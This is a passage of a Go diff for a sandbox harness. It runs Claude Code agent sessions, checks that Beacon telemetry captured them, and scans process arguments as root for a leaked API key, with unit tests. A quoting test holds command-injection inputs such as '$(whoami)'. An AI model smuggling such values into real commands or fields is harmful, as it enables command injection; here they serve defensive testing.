+ if _, err := p.Exec(ctx, inst, argvSamplerScript(), sandbox.ExecOpts{
+ User: "root", Timeout: time.Minute,
+ }); err != nil {
+ logf("argv sampler failed to start: %v", err)
+ }
+
+ // The collector is started by `beacon ci exec`, which wraps the agent session. That is a
+ // real shipping code path -- it is how Beacon collects in GitHub Actions and cloud agent
+ // sandboxes -- and it needs no persistent service manager, so it works on any host.
+ logf("running session (budget $%.2f, timeout %s)", sc.Budget(), sc.Timeout())
+ res, err := p.Exec(ctx, inst, sessionScript(sc, prompt, logPath), sandbox.ExecOpts{
+ User: image.AgentUser, Dir: workDirFor(sc), HomeDir: image.AgentHome,
+ PreserveEnv: true, PathPrepend: image.PathPrepend(), Timeout: sc.Timeout() + time.Minute,
+ })
+ if err != nil {
+ logf("session exec error: %v", err)
+ }
+ art.Meta["ci_exec"] = oneLine(res.Stdout)
+ // Recorded explicitly so a failing collector is visible in the run metadata rather than
+ // inferred from a missing log later.
+ art.Meta["ci_exec_rc"] = fmt.Sprintf("%d", res.ExitCode)
+ if res.ExitCode != 0 {
+ logf("beacon ci exec exited %d -- the collected log may be incomplete", res.ExitCode)
+ }
+
+ // Claude's own result JSON tells us whether the session itself succeeded, which
+ // separates an agent/auth failure from a capture failure.
+ //
+ // Read by absolute path. The session runs in the scenario's cwd, so a relative read from
+ // the default working directory silently found nothing whenever `cwd:` was set -- s05 was
+ // the only such scenario and it reported session_ok=false on an otherwise perfect run,
+ // disabling exactly the signal that distinguishes a dead agent from a capture gap.
+ outPath := shq(sessionFile(sc, "claude-out.json"))
+ errPath := shq(sessionFile(sc, "claude-err.txt"))
+ if r, err := p.Exec(ctx, inst, "cat "+outPath+" 2>/dev/null || true", agent); err == nil {
+ var result map[string]any
+ if json.Unmarshal([]byte(strings.TrimSpace(r.Stdout)), &result) == nil {
+ art.SessionOK, art.SessionKnown = sessionOutcome(result)
+ if !art.SessionKnown {
+ logf("claude result has no boolean is_error; session outcome is unknown")
+ }
+ art.Meta["claude_result"] = fmt.Sprintf("subtype=%v is_error=%v turns=%v cost=%v session=%v",
+ result["subtype"], result["is_error"], result["num_turns"],
+ result["total_cost_usd"], result["session_id"])
+ logf("claude: %s", art.Meta["claude_result"])
+ _ = os.WriteFile(filepath.Join(runDir, "claude-result.json"), []byte(r.Stdout), 0o600)
+ } else {
+ if e, err2 := p.Exec(ctx, inst, "tail -c 800 "+errPath+" 2>/dev/null || true", agent); err2 == nil {
+ art.Meta["claude_stderr"] = oneLine(e.Stdout)
+ }
+ }
+ }
+
+ if sc.Sentinel != "" {
+ // The exec error is not discarded. On a failed guest exec stdout is empty, so
+ // __MISSING__ never appears and the probe silently concluded the file existed -- making
+ // an infrastructure failure indistinguishable from "the agent skipped the work", which
+ // the verdict then reported as a retry-worthy INCONCLUSIVE. The argv path below already
+ // required a successful exec before trusting its output; this one now does too.
+ // Reported by Cursor Bugbot.
+ // The probe always emits a marker, so its output is never ambiguous. `cat f || echo
+ // __MISSING__` produced empty stdout for both a failed exec and a legitimately empty
+ // sentinel file, which would have misreported the second as a broken probe.
+ probe := fmt.Sprintf("if [ -f %[1]s ]; then echo __FOUND__; cat %[1]s; else echo __MISSING__; fi",
+ shq(sentinel))
+ r, execErr := p.Exec(ctx, inst, probe, agent)
+ art.SentinelProbed = execErr == nil &&
+ (strings.Contains(r.Stdout, "__FOUND__") || strings.Contains(r.Stdout, "__MISSING__"))
+ if !art.SentinelProbed {
+ logf("sentinel probe failed (%v): whether the agent acted is unknown for this run", execErr)
+ }
+ // The marker is plumbing, not content: it appears in the verdict as
+ // "confirmed: <detail>", so leaving it in leaks an implementation detail into output a
+ // human reads.
+ art.SentinelDetail = strings.TrimSpace(strings.NewReplacer(
+ "__FOUND__", "", "__MISSING__", "not found").Replace(r.Stdout))
+ // Existence alone is not proof the agent acted. s05's sentinel was the seeded
+ // README.md and s04's was copied into place by setup, so both were present no matter
+ // what the agent did -- INCONCLUSIVE became unreachable and an idle agent produced a
+ // capture FAIL instead. Requiring the run-unique canary makes the sentinel mean what
+ // it claims, since only this run's agent could have put it there.
+ exists := strings.Contains(r.Stdout, "__FOUND__")
+ art.SentinelPresent = art.SentinelProbed && exists && strings.Contains(r.Stdout, canary)
+ if exists && !art.SentinelPresent {
+ logf("sentinel exists but does not contain the canary: the agent did not write it")
+ }
+ logf("sentinel present=%v", art.SentinelPresent)
+ }
+
+ // Read what the in-session sampler observed while the agent was actually running. See
+ // argvSamplerScript for why this cannot be a post-session scan.
+ if r, err := p.Exec(ctx, inst, "cat "+shq(argvVerdictPath)+" 2>/dev/null || true",
+ sandbox.ExecOpts{User: "root", Timeout: time.Minute}); err == nil {
+ switch {
+ case strings.Contains(r.Stdout, "ARGV_LEAK"):
+ art.SecretInArgv, art.ArgvCheckRan = true, true
+ art.Meta["argv_leak_detail"] = oneLine(r.Stdout)
+ logf("argv leak detail: %s", art.Meta["argv_leak_detail"])
+ case strings.Contains(r.Stdout, "ARGV_CLEAN"):
+ art.SecretInArgv, art.ArgvCheckRan = false, true
+ default:
+ // The sampler never wrote a verdict, so nothing was observed and the result
+ // proves nothing. Reported as unverified rather than clean.
+ art.ArgvCheckRan = false
+ }
+ art.Meta["argv_samples"] = oneLine(sampleCountOf(r.Stdout))
+ logf("argv scan: ran=%v leak=%v samples=%s",
+ art.ArgvCheckRan, art.SecretInArgv, art.Meta["argv_samples"])
+ }
+ art.Meta["secret_in_argv"] = fmt.Sprintf("%v", art.SecretInArgv)
+ art.Meta["argv_check_ran"] = fmt.Sprintf("%v", art.ArgvCheckRan)
+
+ // Persist the run-scoped facts the offline `verify` path cannot re-derive.
+ art.Meta["credential_source"] = string(opts.Creds.Source)
+ // Recorded so an offline re-judge can say which secret it could not search for, instead of
+ // falling back to whatever key happens to be in the environment at that later time.
+ if opts.Creds.ProviderSecretName != "" {
+ art.Meta["credential_secret_name"] = opts.Creds.ProviderSecretName
+ }
+ // A non-reversible fingerprint, never the value. It lets an offline re-judge tell whether
+ // the key it has is the one this run used; searching for a different key finds nothing and
+ // would report clean while a real disclosure of the original went unnoticed.
+ if fp := credentials.Fingerprint(opts.Creds.Value); fp != "" {
+ art.Meta["credential_fingerprint"] = fp
+ }
+ art.Meta["canary"] = canary
+ art.Meta["sentinel_present"] = fmt.Sprintf("%v", art.SentinelPresent)
+ art.Meta["sentinel_probed"] = fmt.Sprintf("%v", art.SentinelProbed)
+ art.Meta["sentinel_detail"] = oneLine(art.SentinelDetail)
+ art.Meta["session_ok"] = fmt.Sprintf("%v", art.SessionOK)
+ art.Meta["session_known"] = fmt.Sprintf("%v", art.SessionKnown)
+
+ // Wait for quiescence rather than sleeping a fixed amount: the collector batches at 5s
+ // and Claude Code's metric interval defaults to 60s, so a fixed sleep is either wasteful
+ // or wrong. Record how long it took -- that latency is itself a finding.
+ stable, waited := waitForQuiescence(ctx, p, inst, agent, logPath, logf)
+ art.Meta["quiescence_seconds"] = fmt.Sprintf("%.0f", waited.Seconds())
+ art.Meta["quiescent"] = fmt.Sprintf("%v", stable)
+
+ local := filepath.Join(runDir, "runtime.jsonl")
+ if err := p.Get(ctx, inst, logPath, local); err != nil {
+ return art, fmt.Errorf("collect runtime log: %w", err)
+ }
+ art.RuntimeLog = local
+ logf("collected %s", local)
+
+ // meta.json is written by the deferred host-state block above, so it always includes the
+ // host comparison.
+ return art, nil
+}
+
+// sessionOutcome reads the agent's own success report without inventing information.
+//
+// Only a present boolean is evidence. result["is_error"] is nil when the key is absent, and in Go
+// `nil == false` evaluates to false, so the obvious form recorded a *known failure* for any result
+// JSON lacking the field -- the same invented-failure shape decodeSession was written to avoid on
+// the offline side, reproduced here in the capture path. Reported by Cursor Bugbot.
+func sessionOutcome(result map[string]any) (ok, known bool) {
+ isErr, present := result["is_error"].(bool)
+ if !present {
+ return false, false
+ }
+ return !isErr, true
+}
+
+// sessionFile resolves a file the agent session wrote, relative to the directory that session
+// actually ran in.
+func sessionFile(sc scenario.Scenario, name string) string {
+ return filepath.ToSlash(filepath.Join(workDirFor(sc), name))
+}
+
+// claudeFlags builds the agent invocation shared by both session shapes.
+func claudeFlags(sc scenario.Scenario, prompt string) []string {
+ flags := []string{
+ "-p", shq(prompt),
+ "--output-format", "json",
+ "--dangerously-skip-permissions",
+ fmt.Sprintf("--max-budget-usd %.2f", sc.Budget()),
+ }
+ if len(sc.Tools) > 0 {
+ flags = append(flags, "--tools", shq(strings.Join(sc.Tools, ",")))
+ } else if sc.Tools != nil {
+ flags = append(flags, "--tools", shq(""))
+ }
+ if len(sc.DisallowedTools) > 0 {
+ flags = append(flags, "--disallowedTools", shq(strings.Join(sc.DisallowedTools, ",")))
+ }
+ return flags
+}
+
+// sessionScript builds the in-guest command.
+//
+// The child is wrapped in `sh -c` so Claude's stdout is redirected *inside* `beacon ci exec`.
+// Redirecting outside it would interleave Beacon's own report with Claude's JSON in one file,
+// which made the first M0 run's output unparseable.
+func sessionScript(sc scenario.Scenario, prompt, logPath string) string {
+ inner := "claude " + strings.Join(claudeFlags(sc, prompt), " ") +
+ " > claude-out.json 2> claude-err.txt"
+ // The script must exit with `beacon ci exec`'s status, not with `tail`'s. Ending on the tail
+ // made every session look successful to p.Exec no matter how ci exec fared, and nothing read
+ // CI_EXEC_RC either -- so a collector that failed outright was indistinguishable from one
+ // that worked. Reported by the Copilot reviewer.
+ return fmt.Sprintf("beacon ci exec --harness claude --log-path %s -- sh -c %s "+
+ "> ci-out.txt 2> ci-err.txt; rc=$?; echo CI_EXEC_RC=$rc; "+
+ "tail -c 400 ci-out.txt; exit $rc",
+ shq(logPath), shq(inner))
+}
+
+// waitForQuiescence polls the log until its size stops changing, bounded.
+func waitForQuiescence(ctx context.Context, p sandbox.Provider, inst sandbox.Instance,
+ opts sandbox.ExecOpts, logPath string, logf func(string, ...any)) (bool, time.Duration) {
+
+ const (
+ interval = 3 * time.Second
+ stableFor = 9 * time.Second
+ maxWait = 90 * time.Second
+ )
+ start := time.Now()
+ var last string
+ stableSince := time.Time{}
+
+ for time.Since(start) < maxWait {
+ r, err := p.Exec(ctx, inst, "wc -c < "+shq(logPath)+" 2>/dev/null || echo 0", opts)
+ if err == nil {
+ cur := strings.TrimSpace(r.Stdout)
+ if cur == last && cur != "0" {
+ if stableSince.IsZero() {
+ stableSince = time.Now()
+ } else if time.Since(stableSince) >= stableFor {
+ return true, time.Since(start)
+ }
+ } else {
+ stableSince = time.Time{}
+ last = cur
+ }
+ }
+ select {
+ case <-ctx.Done():
+ return false, time.Since(start)
+ case <-time.After(interval):
+ }
+ }
+ logf("log never went quiet within %s; collecting anyway", maxWait)
+ return false, time.Since(start)
+}
+
+func workDirFor(sc scenario.Scenario) string {
+ if sc.Cwd == "" {
+ return image.WorkDir
+ }
+ return filepath.ToSlash(filepath.Join(image.WorkDir, sc.Cwd))
+}
+
+func randomToken() string {
+ b := make([]byte, 6)
+ if _, err := rand.Read(b); err != nil {
+ return fmt.Sprintf("%d", time.Now().UnixNano())
+ }
+ return hex.EncodeToString(b)
+}
+
+func shq(s string) string { return "'" + strings.ReplaceAll(s, "'", `'\''`) + "'" }
+
+func oneLine(s string) string {
+ s = strings.Join(strings.Fields(strings.ReplaceAll(s, "\n", " ")), " ")
+ if len(s) > 400 {
+ return s[:400] + "..."
+ }
+ return s
+}
+
+// inlineSecrets returns the key/value secrets to inject, empty when the provider holds the
+// credential itself.
+func inlineSecrets(c credentials.Resolved) map[string]string {
+ if c.Value == "" {
+ return nil
+ }
+ return map[string]string{credentials.EnvVar: c.Value}
+}
+
+// providerSecrets returns provider-stored secret names to attach.
+func providerSecrets(c credentials.Resolved) []string {
+ if c.ProviderSecretName == "" {
+ return nil
+ }
+ return []string{c.ProviderSecretName}
+}
+
+// argvVerdictPath is where the in-guest sampler records what it saw.
+const argvVerdictPath = "/tmp/beacon-sandbox-argv-verdict"
+
+// argvSamplerScript starts a background sampler that watches for the injected credential in the
+// guest process table for as long as the agent session runs.
+//
+// It has to run concurrently with the session, and an earlier version did not: the scan executed
+// after `beacon ci exec` had already returned, so every process that might have held the key in
+// argv was already gone and ARGV_CLEAN was close to vacuous -- a disclosure claim resting on an
+// observation never made. Flagged by Cursor Bugbot on the first commit of this tool.
+//
+// Both `ps` output and every /proc/<pid>/cmdline are checked, since a shell can hide argv from
+// one but not the other. It runs as root because another user's cmdline is otherwise unreadable,
+// and a check that can only see its own process proves nothing.
+//
+// The matcher must not carry the key in its own argv or the scan finds itself: a first version
+// used `grep -qF "$KEY"`, which the shell expands into grep's argv, so the `ps` in the same
+// pipeline saw the grep process and reported a leak the tool had created. awk reads the key from
+// ENVIRON instead, and the sampler's own processes are skipped as a second guard.
+//
+// The body is delivered through a quoted heredoc so the guest shell performs no expansion on it,
+// which keeps the awk program readable instead of buried under layers of escaping.
+func argvSamplerScript() string {
+ return fmt.Sprintf(`set -u
+rm -f %[1]s
+if [ -z "${ANTHROPIC_API_KEY:-}" ]; then
+ echo "ARGV_CHECK_INVALID_NO_KEY samples=0" > %[1]s
+ exit 0
+fi
+cat > %[2]s <<'SAMPLER'
+#!/bin/sh
+VERDICT="$1"
+scan() {
+ awk 'BEGIN{k=ENVIRON["ANTHROPIC_API_KEY"]; if (k=="") exit 1}
+ /awk|ARGV_SAMPLER_SELF/ {next}
+ index($0,k){found=1}
+ END{exit !found}'
+}
+n=0
+# Bounded so a leaked sandbox cannot spin forever; the instance is destroyed long before this.
+while [ "$n" -lt 900 ]; do
+ n=$((n+1))
+ if ps -eo args= 2>/dev/null | scan; then
+ echo "ARGV_LEAK samples=$n via=ps" > "$VERDICT"
+ exit 0
+ fi
+ for f in /proc/[0-9]*/cmdline; do
+ [ -r "$f" ] || continue
+ if tr '\0' '\n' < "$f" 2>/dev/null | scan; then
+ echo "ARGV_LEAK samples=$n via=proc" > "$VERDICT"
+ exit 0
+ fi
+ done
+ echo "ARGV_CLEAN samples=$n" > "$VERDICT"
+ sleep 1
+done
+SAMPLER
+chmod +x %[2]s
+nohup %[2]s %[1]s > /dev/null 2>&1 &
+echo ARGV_SAMPLER_STARTED`, argvVerdictPath, "/tmp/beacon-sandbox-argv-sampler.sh")
+}
+
+// sampleCountOf extracts the sampler's iteration count for the run metadata.
+//
+// A clean result backed by one sample is much weaker evidence than one backed by hundreds, so
+// the number is recorded rather than hidden behind a boolean. Observed density is modest -- a
+// short session typically yields single-digit samples, because each pass forks `tr` once per
+// process in /proc -- so `secret_in_argv=false` means "not seen in N samples spread across the
+// session", not "provably never present". Read argv_samples alongside it.
+func sampleCountOf(verdict string) string {
+ for _, f := range strings.Fields(verdict) {
+ if c, ok := strings.CutPrefix(f, "samples="); ok {
+ return c
+ }
+ }
+ return "0"
+}
diff --git a/beacon-sandbox/runner/runner_test.go b/beacon-sandbox/runner/runner_test.go
new file mode 100644
index 00000000..5cb96083
--- /dev/null
+++ b/beacon-sandbox/runner/runner_test.go
@@ -0,0 +1,192 @@
+package runner
+
+import (
+ "fmt"
+ "strings"
+ "testing"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/image"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/scenario"
+)
+
+// The agent session runs in the scenario's working directory, so anything it writes must be read
+// back from there. Reading relatively from the default directory silently found nothing whenever
+// a scenario set `cwd:` -- s05-repo-task, the only such scenario, reported session_ok=false on an
+// otherwise perfect run. That disabled precisely the signal that distinguishes "the agent never
+// ran" from "Beacon missed the event", which is the distinction the whole verdict model rests on.
+func TestSessionFilesResolveInsideTheScenarioWorkingDirectory(t *testing.T) {
+ withCwd := scenario.Scenario{ID: "s05-repo-task", Cwd: "repo"}
+ got := sessionFile(withCwd, "claude-out.json")
+
+ if !strings.HasSuffix(got, "/repo/claude-out.json") {
+ t.Errorf("a scenario with cwd:repo must read from that directory, got %q", got)
+ }
+ if got == "claude-out.json" {
+ t.Error("a bare relative name is what caused the original silent miss")
+ }
+ // It must be the same directory the session was launched in, or the two can drift apart.
+ if !strings.HasPrefix(got, workDirFor(withCwd)) {
+ t.Errorf("readback path %q is not under the session working dir %q", got, workDirFor(withCwd))
+ }
+}
+
+// The common case must keep working: no cwd means the default working directory.
+func TestSessionFilesDefaultToTheWorkDir(t *testing.T) {
+ got := sessionFile(scenario.Scenario{ID: "s01-hello"}, "claude-out.json")
+
+ want := image.WorkDir + "/claude-out.json"
+ if got != want {
+ t.Errorf("sessionFile = %q, want %q", got, want)
+ }
+}
+
+// Paths are consumed by a POSIX shell inside the guest, so they must use forward slashes
+// regardless of the host that built them.
+func TestSessionFilePathsAreAlwaysSlashed(t *testing.T) {
+ got := sessionFile(scenario.Scenario{ID: "x", Cwd: "nested/dir"}, "claude-err.txt")
+
+ if strings.Contains(got, `\`) {
+ t.Errorf("guest paths must be slash-separated, got %q", got)
+ }
+ if !strings.HasSuffix(got, "/nested/dir/claude-err.txt") {
+ t.Errorf("nested cwd not resolved, got %q", got)
+ }
+}
+
+// The argv scan is a disclosure claim, so it must rest on an observation actually made. An
+// earlier version scanned only after `beacon ci exec` returned, when every process that might
+// have held the key was already gone -- ARGV_CLEAN was close to vacuous. Cursor Bugbot flagged
+// it on the first commit. These pin the properties that make the sampler meaningful.
+func TestArgvSamplerRunsInBackgroundAndSamplesRepeatedly(t *testing.T) {
+ got := argvSamplerScript()
+
+ if !strings.Contains(got, "nohup") || !strings.HasSuffix(strings.TrimSpace(got), "ARGV_SAMPLER_STARTED") {
+ t.Error("the sampler must detach so the session can run alongside it")
+ }
+ if !strings.Contains(got, "while [") || !strings.Contains(got, "sleep 1") {
+ t.Error("a single sample cannot observe a live session; it must loop")
+ }
+ // Both sources, because a shell can hide argv from one but not the other.
+ for _, want := range []string{"ps -eo args=", "/proc/[0-9]*/cmdline"} {
+ if !strings.Contains(got, want) {
+ t.Errorf("sampler should check %s", want)
+ }
+ }
+}
+
+// The matcher must never carry the key in its own argv, or the scan reports a leak it created.
+func TestArgvSamplerNeverPutsTheKeyInAnArgv(t *testing.T) {
+ got := argvSamplerScript()
+
+ if strings.Contains(got, `grep -qF "$ANTHROPIC_API_KEY"`) || strings.Contains(got, "grep -F $ANTHROPIC_API_KEY") {
+ t.Error("expanding the key into a matcher's argv is the self-poisoning bug")
+ }
+ if !strings.Contains(got, `ENVIRON["ANTHROPIC_API_KEY"]`) {
+ t.Error("the key must be read from the environment inside awk, never passed as an argument")
+ }
+}
+
+// With no key there is nothing to search for, so the sampler must say so rather than write a
+// clean verdict. A check that cannot run must never read as one that passed.
+func TestArgvSamplerReportsInvalidRatherThanCleanWithoutAKey(t *testing.T) {
+ got := argvSamplerScript()
+
+ if !strings.Contains(got, "ARGV_CHECK_INVALID_NO_KEY") {
+ t.Error("a missing key must produce an explicit invalid marker")
+ }
+ guard := strings.Index(got, `if [ -z "${ANTHROPIC_API_KEY:-}" ]`)
+ clean := strings.Index(got, "ARGV_CLEAN")
+ if guard < 0 || clean < 0 || guard > clean {
+ t.Error("the no-key guard must precede any path that can emit ARGV_CLEAN")
+ }
+}
+
+// The sample count is evidence strength: one sample is far weaker than hundreds, so it is
+// surfaced rather than collapsed into a boolean.
+func TestSampleCountIsExtractedForTheRecord(t *testing.T) {
+ cases := map[string]string{
+ "ARGV_CLEAN samples=137": "137",
+ "ARGV_LEAK samples=4 via=proc": "4",
+ "ARGV_CHECK_INVALID_NO_KEY samples=0": "0",
+ "": "0",
+ "garbage with no count": "0",
+ }
+ for in, want := range cases {
+ if got := sampleCountOf(in); got != want {
+ t.Errorf("sampleCountOf(%q) = %q, want %q", in, got, want)
+ }
+ }
+}
+
+// The session script must exit with `beacon ci exec`'s status. Ending on `tail` made every session
+// look successful to the exec layer no matter how ci exec fared, and nothing read CI_EXEC_RC
+// either, so a collector that failed outright was indistinguishable from one that worked.
+// Reported by the Copilot reviewer.
+func TestSessionScriptPropagatesTheCollectorExitStatus(t *testing.T) {
+ got := sessionScript(scenario.Scenario{ID: "s01", Prompt: "hi"}, "hi", "/work/runtime.jsonl")
+
+ if !strings.Contains(got, "rc=$?") || !strings.Contains(got, "exit $rc") {
+ t.Errorf("the script must capture and re-raise ci exec's status:\n%s", got)
+ }
+ // The tail is for diagnostics and must not be the last thing determining the status.
+ if strings.HasSuffix(strings.TrimSpace(got), "tail -c 400 ci-out.txt") {
+ t.Error("ending on tail makes the exit status tail's, masking a failed ci exec")
+ }
+ if idx, tailIdx := strings.Index(got, "exit $rc"), strings.Index(got, "tail -c"); idx < tailIdx {
+ t.Error("the tail should run before the exit so its output is still captured")
+ }
+}
+
+// The sentinel probe's output must be unambiguous. `cat f || echo __MISSING__` produced empty
+// stdout for both a failed guest exec and a legitimately empty sentinel file, so the two could not
+// be told apart -- and the first is an infrastructure problem while the second is a real absence of
+// agent work. An explicit marker on every branch removes the ambiguity.
+func TestSentinelProbeAlwaysEmitsAMarker(t *testing.T) {
+ // Rebuild the probe the runner uses, for the same sentinel path.
+ probe := fmt.Sprintf("if [ -f %[1]s ]; then echo __FOUND__; cat %[1]s; else echo __MISSING__; fi",
+ shq("/home/agent/work/out.txt"))
+
+ for _, want := range []string{"__FOUND__", "__MISSING__"} {
+ if !strings.Contains(probe, want) {
+ t.Errorf("the probe must be able to emit %s", want)
+ }
+ }
+ // Both branches are present, so no input leaves stdout empty.
+ if !strings.Contains(probe, "if [ -f") || !strings.Contains(probe, "else") {
+ t.Errorf("the probe must branch explicitly rather than relying on cat's exit status:\n%s", probe)
+ }
+ if strings.Contains(probe, "cat /home/agent/work/out.txt ||") {
+ t.Error("the old `cat f || echo` form cannot distinguish an empty file from a failed exec")
+ }
+}
+
+// Only a present boolean is evidence about the session. result["is_error"] is nil when the key is
+// absent, and `nil == false` evaluates to false in Go, so the obvious form recorded a *known
+// failure* for any result JSON lacking the field -- which then short-circuits sentinel-less
+// scenarios to INCONCLUSIVE without evaluating a single expectation. The same invented-failure
+// shape decodeSession avoids offline, reproduced in the capture path. Cursor Bugbot reported it.
+func TestSessionOutcomeNeverInventsAFailure(t *testing.T) {
+ cases := []struct {
+ name string
+ result map[string]any
+ wantOK, wantKnown bool
+ }{
+ {"absent is_error", map[string]any{"subtype": "success"}, false, false},
+ {"empty result", map[string]any{}, false, false},
+ {"null is_error", map[string]any{"is_error": nil}, false, false},
+ {"wrong type", map[string]any{"is_error": "false"}, false, false},
+ {"real success", map[string]any{"is_error": false}, true, true},
+ {"real failure", map[string]any{"is_error": true}, false, true},
+ }
+ for _, c := range cases {
+ ok, known := sessionOutcome(c.result)
+ if ok != c.wantOK || known != c.wantKnown {
+ t.Errorf("%s: got ok=%v known=%v, want ok=%v known=%v",
+ c.name, ok, known, c.wantOK, c.wantKnown)
+ }
+ // The dangerous combination: a confident failure conjured from a missing field.
+ if c.name != "real failure" && known && !ok {
+ t.Errorf("%s: must not read as a known failure", c.name)
+ }
+ }
+}
diff --git a/beacon-sandbox/sandbox/argv_test.go b/beacon-sandbox/sandbox/argv_test.go
new file mode 100644
index 00000000..0b46140d
--- /dev/null
+++ b/beacon-sandbox/sandbox/argv_test.go
@@ -0,0 +1,204 @@
+package sandbox
+
+import (
+ "errors"
+ "io"
+ "strings"
+ "testing"
+ "time"
+)
+
+// buildArgv is the highest-risk pure function here. An earlier version used `su -`, which starts
+// a *login* shell and resets the environment -- stripping the injected credential, so Claude Code
+// could not authenticate, so no tool ran, so the resulting telemetry gap looked exactly like a
+// Beacon capture bug. These tests exist to make that regression impossible to reintroduce
+// silently.
+
+func TestUserExecPreservesEnvironment(t *testing.T) {
+ argv := buildArgv("echo hi", ExecOpts{User: "agent", PreserveEnv: true})
+
+ if got := argv[0]; got != "su" {
+ t.Fatalf("expected su, got %q (argv=%v)", got, argv)
+ }
+ if argv[1] != "-p" {
+ t.Fatalf("PreserveEnv must use `su -p`, got %q -- `su -` resets the environment and "+
+ "strips the injected credential", argv[1])
+ }
+ for _, a := range argv {
+ if a == "-" {
+ t.Fatal("`su -` must never appear when PreserveEnv is set")
+ }
+ }
+}
+
+func TestUserExecWithoutPreserveEnvUsesLoginShell(t *testing.T) {
+ argv := buildArgv("echo hi", ExecOpts{User: "agent"})
+ if argv[1] != "-" {
+ t.Fatalf("without PreserveEnv a login shell is intended, got %q", argv[1])
+ }
+}
+
+func TestRootExecSkipsSuEntirely(t *testing.T) {
+ for _, user := range []string{"", "root"} {
+ argv := buildArgv("echo hi", ExecOpts{User: user})
+ if argv[0] != "bash" || argv[1] != "-c" {
+ t.Errorf("user %q should run directly via bash -c, got %v", user, argv)
+ }
+ if strings.Contains(strings.Join(argv, " "), "su ") {
+ t.Errorf("user %q must not switch user, got %v", user, argv)
+ }
+ }
+}
+
+// HOME, PATH, and cd must all be established before the script runs, and in that order: the
+// script may reference $HOME, and cd may be relative to it.
+func TestPreludeOrderingAndContent(t *testing.T) {
+ argv := buildArgv("beacon version", ExecOpts{
+ User: "agent", PreserveEnv: true,
+ HomeDir: "/home/agent", Dir: "/home/agent/work",
+ PathPrepend: []string{"/home/agent/.local/bin", "/opt/beacon/bin"},
+ })
+ script := argv[len(argv)-1]
+
+ iHome := strings.Index(script, "export HOME=")
+ iPath := strings.Index(script, "export PATH=")
+ iCd := strings.Index(script, "cd ")
+ iBody := strings.Index(script, "beacon version")
+
+ for name, idx := range map[string]int{"HOME": iHome, "PATH": iPath, "cd": iCd, "body": iBody} {
+ if idx < 0 {
+ t.Fatalf("script is missing %s: %q", name, script)
+ }
+ }
+ if !(iHome < iPath && iPath < iCd && iCd < iBody) {
+ t.Errorf("expected HOME < PATH < cd < body, got %d < %d < %d < %d in %q",
+ iHome, iPath, iCd, iBody, script)
+ }
+ // PATH must be prepended, not replaced, or the image's own tools disappear.
+ if !strings.Contains(script, ":$PATH") {
+ t.Errorf("PATH must be prepended to the existing value, got %q", script)
+ }
+}
+
+func TestPreludeOmittedWhenUnset(t *testing.T) {
+ argv := buildArgv("true", ExecOpts{User: "root"})
+ script := argv[len(argv)-1]
+ if script != "true" {
+ t.Errorf("with no HOME/PATH/Dir the script should be passed through verbatim, got %q", script)
+ }
+}
+
+// Paths come from scenario YAML and image constants, so a quote or space must not be able to
+// break out of the command.
+func TestShellQuoteEscapesSingleQuotes(t *testing.T) {
+ cases := map[string]string{
+ "plain": `'plain'`,
+ "with space": `'with space'`,
+ "it's": `'it'\''s'`,
+ "$(whoami)": `'$(whoami)'`,
+ "a'b'c": `'a'\''b'\''c'`,
+ "": `''`,
+ "semi;colon": `'semi;colon'`,
+ "back\\slash": `'back\slash'`,
+ }
+ for in, want := range cases {
+ if got := shellQuote(in); got != want {
+ t.Errorf("shellQuote(%q) = %q, want %q", in, got, want)
+ }
+ }
+}
+
+func TestQuotedPathsSurviveInPrelude(t *testing.T) {
+ argv := buildArgv("true", ExecOpts{
+ User: "agent", PreserveEnv: true,
+ HomeDir: "/home/o'brien", Dir: "/home/o'brien/my work",
+ })
+ script := argv[len(argv)-1]
+ // The escaped form, not the raw apostrophe, is what must appear.
+ if strings.Contains(script, "HOME=/home/o'brien;") {
+ t.Errorf("home dir was not quoted: %q", script)
+ }
+ if !strings.Contains(script, `'/home/o'\''brien'`) {
+ t.Errorf("expected escaped home dir in %q", script)
+ }
+}
+
+// The credential is injected as environment, never as an argument; anything in argv is visible
+// in the process table to every user on the host.
+func TestScriptIsTheFinalArgumentAndCarriesNoSecret(t *testing.T) {
+ argv := buildArgv("claude -p 'hello'", ExecOpts{User: "agent", PreserveEnv: true})
+ if got := argv[len(argv)-1]; !strings.Contains(got, "claude -p") {
+ t.Errorf("the script must be the last argument, got %v", argv)
+ }
+ if len(argv) != 5 {
+ t.Errorf("expected su -p <user> -c <script>, got %v", argv)
+ }
+}
+
+// Reading stdout to completion before touching stderr deadlocks whenever the guest fills its stderr
+// pipe buffer: the process blocks on that write, never exits, never closes stdout, and the read
+// never returns. Verbose failures are exactly when that happens -- exactly when this tool is being
+// used to find out what went wrong. Reported by the Copilot reviewer.
+//
+// The test reproduces the ordering that hangs: a writer that emits stderr *before* stdout. With
+// unbuffered pipes a sequential reader waits on stdout while the writer waits on stderr, so only a
+// concurrent drain can finish.
+func TestDrainStreamsDoesNotDeadlockWhenStderrComesFirst(t *testing.T) {
+ outR, outW := io.Pipe()
+ errR, errW := io.Pipe()
+
+ go func() {
+ // Order matters: stderr first is what a sequential reader cannot survive.
+ _, _ = errW.Write([]byte("a verbose failure explanation"))
+ _ = errW.Close()
+ _, _ = outW.Write([]byte("some stdout"))
+ _ = outW.Close()
+ }()
+
+ type result struct{ out, errb string }
+ done := make(chan result, 1)
+ go func() {
+ o, e, oErr, eErr := drainStreams(outR, errR)
+ if oErr != nil || eErr != nil {
+ t.Errorf("unexpected read errors: %v / %v", oErr, eErr)
+ }
+ done <- result{string(o), string(e)}
+ }()
+
+ select {
+ case got := <-done:
+ if got.out != "some stdout" {
+ t.Errorf("stdout = %q", got.out)
+ }
+ if got.errb != "a verbose failure explanation" {
+ t.Errorf("stderr = %q", got.errb)
+ }
+ case <-time.After(5 * time.Second):
+ t.Fatal("drainStreams deadlocked: stderr written before stdout requires a concurrent drain")
+ }
+}
+
+// A read error must be returned, not swallowed: a truncated stream means the captured output the
+// verdict is built from is incomplete.
+func TestDrainStreamsSurfacesReadErrors(t *testing.T) {
+ outR, outW := io.Pipe()
+ errR, errW := io.Pipe()
+ boom := errors.New("stream broke")
+
+ go func() {
+ _ = outW.CloseWithError(boom)
+ _, _ = errW.Write([]byte("fine"))
+ _ = errW.Close()
+ }()
+
+ _, errb, outErr, errErr := drainStreams(outR, errR)
+ if outErr == nil {
+ t.Error("a broken stdout stream must be reported")
+ }
+ if errErr != nil {
+ t.Errorf("stderr read should have succeeded, got %v", errErr)
+ }
+ if string(errb) != "fine" {
+ t.Errorf("stderr = %q", errb)
+ }
+}
